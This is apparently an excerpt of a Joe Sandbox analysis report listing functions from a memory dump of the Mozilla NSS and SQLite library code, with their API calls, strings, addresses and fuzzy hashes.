Opcode Fuzzy Hash: c571ca9874a4ff19ea23d92a43b107f2e92327189b714d25a47a961562b9cf3d
Instruction Fuzzy Hash: 1E31C2B1B422119BFB449A65C84EF4737B8AB1BB88F194118E90783640D774DA84CBE3

Function 6CA22E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA22F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CA22FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CA23005
memcpy.VCRUNTIME140(?,?,?), ref: 6CA230EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA23131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA23178

Strings

%s at line %d of [%.10s], xrefs: 6CA23171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA23022, 6CA23156, 6CA23162, 6CA2318A, 6CA23196, 6CA231A2, 6CA231AE, 6CA231BA, 6CA231C6
database corruption, xrefs: 6CA2316C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: c321e43cc3b13b84bbadef1a71da8c78e1299a1a072349734c9300424e5cf009
Instruction ID: 116dcb940bb4608bff90c8e50f085000a94b4f66ae1eea64e16fdaa893f9a9ae
Opcode Fuzzy Hash: c321e43cc3b13b84bbadef1a71da8c78e1299a1a072349734c9300424e5cf009
Instruction Fuzzy Hash: 0DB1C270E062259BCF18CF9DC884AEEF7B5BF49314F284129E845B7B41D7789981CBA1

Function 6CA02400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6CA024EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6CA02315), ref: 6CA0254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6CA02315), ref: 6CA0256C

Strings

API called with NULL prepared statement, xrefs: 6CA0253C
%s at line %d of [%.10s], xrefs: 6CA02566
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA024F4, 6CA02557
API called with finalized prepared statement, xrefs: 6CA02543, 6CA0254D
bind on a busy prepared statement: [%s], xrefs: 6CA024E6
misuse, xrefs: 6CA02561

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: 60fece073d6d870e9f5461dc60103034235d2089209f60e4100fe3066ce1903f
Instruction ID: 7c27cf9abe17570dd25001743e381541a85980432b469a3e224336495d3166cf
Opcode Fuzzy Hash: 60fece073d6d870e9f5461dc60103034235d2089209f60e4100fe3066ce1903f
Instruction Fuzzy Hash: 9C4113757007018BE7148F29F8A8B6673A6AF8539DF184A2CE8055BB40DB36F885C791

Function 6CA06600 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,NULL), ref: 6CA06C66
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0001F490,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA06C83

Strings

invalid, xrefs: 6CA06C95
%s at line %d of [%.10s], xrefs: 6CA06C7D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA06C6E
unopened, xrefs: 6CA06C9F
API call with %s database connection pointer, xrefs: 6CA06C60
misuse, xrefs: 6CA06C78
NULL, xrefs: 6CA06C55, 6CA06C5F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 632333372-4248800309
Opcode ID: 5ece161246863cb50e0a36736653c2fc8513e755542f445691650ef27d4bbb21
Instruction ID: b562d4c982b87cbedf14cf831bbf8569a9696827183ea8111f7092bd76fb0f59
Opcode Fuzzy Hash: 5ece161246863cb50e0a36736653c2fc8513e755542f445691650ef27d4bbb21
Instruction Fuzzy Hash: 37318B72B001544BEB008E79AC517AF77B5EB413ACF184228ED18EBB81DB30A9C583D1

Function 6CAB6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CAB6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB6CA3

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAB6CD5

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB6C9C
hSession = 0x%x, xrefs: 6CAB6C7E, 6CAB6C8E
C_DigestInit, xrefs: 6CAB6C61
pMechanism = 0x%p, xrefs: 6CAB6CD0

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: a8bb2b0ad48fe9995fd480fd3f5952cf7e4a2f801623d43299cc0148e3142cc1
Instruction ID: 54740c676c7838142b154aaee050e460008cd6af3fd898ee037a5f25c19c4082
Opcode Fuzzy Hash: a8bb2b0ad48fe9995fd480fd3f5952cf7e4a2f801623d43299cc0148e3142cc1
Instruction Fuzzy Hash: 2F2148346001449BCB049F64EE88B9E37B9EB4B759F084029E509E7B02DF30998CCBA3

Function 6CA80F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA80F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA80F84

Part of subcall function 6CADB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBB18D0,?), ref: 6CADB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CA9F59B,6CBA890C,?), ref: 6CA80FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CA80FC1

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CA80FDB
PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CA80FEF
PL_FreeArenaPool.NSS3(?), ref: 6CA81001
PL_FinishArenaPool.NSS3(?), ref: 6CA81009

Strings

security, xrefs: 6CA80F5C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: b507a65ce53253ade71a63c5caa10441335008bf25588af4bb7d999ec4dc07fc
Instruction ID: 78f39054e544d608913f814951c98c32b89672c854ae9378291205485654947a
Opcode Fuzzy Hash: b507a65ce53253ade71a63c5caa10441335008bf25588af4bb7d999ec4dc07fc
Instruction Fuzzy Hash: 2A2106B1904244ABE7109F24DD41AAE77B4EF4965CF048518FD189B701FB31E989CBE2

Function 6CA86DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CA87D8F,6CA87D8F,?,?), ref: 6CA86DC8

Part of subcall function 6CADFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CADFE08
Part of subcall function 6CADFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CADFE1D
Part of subcall function 6CADFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CADFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CA87D8F,?,?), ref: 6CA86DD5

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBA8FA0,00000000,?,?,?,?,6CA87D8F,?,?), ref: 6CA86DF7

Part of subcall function 6CADB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBB18D0,?), ref: 6CADB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA86E35

Part of subcall function 6CADFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CADFE29
Part of subcall function 6CADFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CADFE3D
Part of subcall function 6CADFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CADFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA86E4C

Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBA8FE0,00000000), ref: 6CA86E82

Part of subcall function 6CA86AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CA8B21D,00000000,00000000,6CA8B219,?,6CA86BFB,00000000,?,00000000,00000000,?,?,?,6CA8B21D), ref: 6CA86B01
Part of subcall function 6CA86AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA86B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA86F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA86F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBA8FE0,00000000), ref: 6CA86F6B
PR_SetError.NSS3(FFFFE005,00000000,6CA87D8F,?,?), ref: 6CA86FE1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 6244cf8081a40fb0ef909fb976e7bd7004d8c735aa97b102430e800702224efe
Instruction ID: f366c5490138f87f87a5531b74e30ff445af470cf8941f95b39f728e490959f3
Opcode Fuzzy Hash: 6244cf8081a40fb0ef909fb976e7bd7004d8c735aa97b102430e800702224efe
Instruction Fuzzy Hash: 1F718171D212469BEB00CF55CD40BAAB7B4BF58308F194229E858DBB11F771EAD4CB90

Function 6CAC0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAC1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAC1085
PK11_GetAllTokens.NSS3 ref: 6CAC10B1
free.MOZGLUE(?), ref: 6CAC1107
PR_SetError.NSS3(00000000,00000000), ref: 6CAC1172
free.MOZGLUE(?), ref: 6CAC1182
free.MOZGLUE(?), ref: 6CAC11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CAC11C5

Part of subcall function 6CAC52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CA9EAC5,00000001), ref: 6CAC52DF
Part of subcall function 6CAC52C0: EnterCriticalSection.KERNEL32(?), ref: 6CAC52F3
Part of subcall function 6CAC52C0: PR_Unlock.NSS3(?), ref: 6CAC5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAC11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAC11F3

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: e13482d0ed9dcc2742a925b0f5c76a971829a8ca16194c23c69d739fb93502de
Instruction ID: c2f288987d0c5ff9e47acf0dd8e4d3911558b867030c7d941bc3b940ce8d10df
Opcode Fuzzy Hash: e13482d0ed9dcc2742a925b0f5c76a971829a8ca16194c23c69d739fb93502de
Instruction Fuzzy Hash: 286175B4F013459BEB00DFA4D941BAEB7B5EF04348F184128ED19AB741EB31E985CB92

Function 6CACADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE10
EnterCriticalSection.KERNEL32(?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CAAD079,00000000,00000001), ref: 6CACAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE7F
TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEF1
free.MOZGLUE(6CAACDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAACDBB,?), ref: 6CACAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAF30

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: c19cea3e51e755c81b556554828bf95524971b1441c7c2d779ee09270bf86cfe
Instruction ID: b71b68f9fa35aa94801bb8b0902c4727d852df23d36824b1bcbae9874e980d2f
Opcode Fuzzy Hash: c19cea3e51e755c81b556554828bf95524971b1441c7c2d779ee09270bf86cfe
Instruction Fuzzy Hash: D05181B5A00A11AFDB01DF29D884B6AB7B5FF05318F184664E81997E11E731FCA4CBD2

Function 6CAA4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CAAAB7F,?,00000000,?), ref: 6CAA4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CAAAB7F,?,00000000,?), ref: 6CAA4CC8
TlsGetValue.KERNEL32(?,6CAAAB7F,?,00000000,?), ref: 6CAA4CE0
EnterCriticalSection.KERNEL32(?,?,6CAAAB7F,?,00000000,?), ref: 6CAA4CF4
PL_HashTableLookup.NSS3(?,?,?,6CAAAB7F,?,00000000,?), ref: 6CAA4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CAA4D10

Part of subcall function 6CB2DD70: TlsGetValue.KERNEL32 ref: 6CB2DD8C
Part of subcall function 6CB2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB2DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CAA4D26

Part of subcall function 6CB49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB90A27), ref: 6CB49DC6
Part of subcall function 6CB49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB90A27), ref: 6CB49DD1
Part of subcall function 6CB49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB49DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CAA4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CAA4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CAA4E02

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 217ed1b544d7969505c201d97c8688e132d75fe91a47d2f11a17036e57088401
Instruction ID: 36234a91149d57904891b6c4f250e506e65b9f541e7d26349dae4a83d2732bf1
Opcode Fuzzy Hash: 217ed1b544d7969505c201d97c8688e132d75fe91a47d2f11a17036e57088401
Instruction Fuzzy Hash: 1541B7B5900605AFEB019F78ED41A6A77B8BF05259F184170FC1887B12EF31D999C7E1

Function 6CA82E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA82CDA,?,00000000), ref: 6CA82E1E

Part of subcall function 6CADFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA89003,?), ref: 6CADFD91
Part of subcall function 6CADFD80: PORT_Alloc_Util.NSS3(A4686CAE,?), ref: 6CADFDA2
Part of subcall function 6CADFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAE,?,?), ref: 6CADFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CA82E33

Part of subcall function 6CADFD80: free.MOZGLUE(00000000,?,?), ref: 6CADFDD1

TlsGetValue.KERNEL32 ref: 6CA82E4E
EnterCriticalSection.KERNEL32(?), ref: 6CA82E5E
PL_HashTableLookup.NSS3(?), ref: 6CA82E71
PL_HashTableRemove.NSS3(?), ref: 6CA82E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CA82E96
PR_Unlock.NSS3 ref: 6CA82EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA82EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA82EC5

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: a26374134a42875a9218047e6ba90df278271755e662d7e04aaf2fc282848b15
Instruction ID: bb447c8d0cfce2ef9c8a5b703b8c35cda35f86b7354f51ca939923efd65958e4
Opcode Fuzzy Hash: a26374134a42875a9218047e6ba90df278271755e662d7e04aaf2fc282848b15
Instruction Fuzzy Hash: 4421F576A00105A7EF105F24AD09EAB3B79EF4639DF080130ED1883752FB32D5A8D6A2

Function 6CB10690 Relevance: 15.1, APIs: 10, Instructions: 57threadCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000000,?,?,6CB10642,?,?,6CB1477E,00000000), ref: 6CB10695

Part of subcall function 6CB498D0: calloc.MOZGLUE(00000001,00000084,6CA70936,00000001,?,6CA7102C), ref: 6CB498E5

PR_NewLock.NSS3(00000000,?,?,6CB10642,?,?,6CB1477E,00000000), ref: 6CB106A1

Part of subcall function 6CB498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB49946
Part of subcall function 6CB498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA016B7,00000000), ref: 6CB4994E
Part of subcall function 6CB498D0: free.MOZGLUE(00000000), ref: 6CB4995E

PR_GetCurrentThread.NSS3(00000000,?,?,6CB10642,?,?,6CB1477E,00000000), ref: 6CB106BB
DeleteCriticalSection.KERNEL32(?,00000000,?,?,6CB10642,?,?,6CB1477E,00000000), ref: 6CB106D1
free.MOZGLUE(?,?,?,6CB10642,?,?,6CB1477E,00000000), ref: 6CB106D8
PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,?,6CB10642,?,?,6CB1477E,00000000), ref: 6CB106F4

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CB1070A
free.MOZGLUE(?), ref: 6CB10711
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CB1072D
PR_SetError.NSS3(?,00000000), ref: 6CB10738

Memory Dump Source

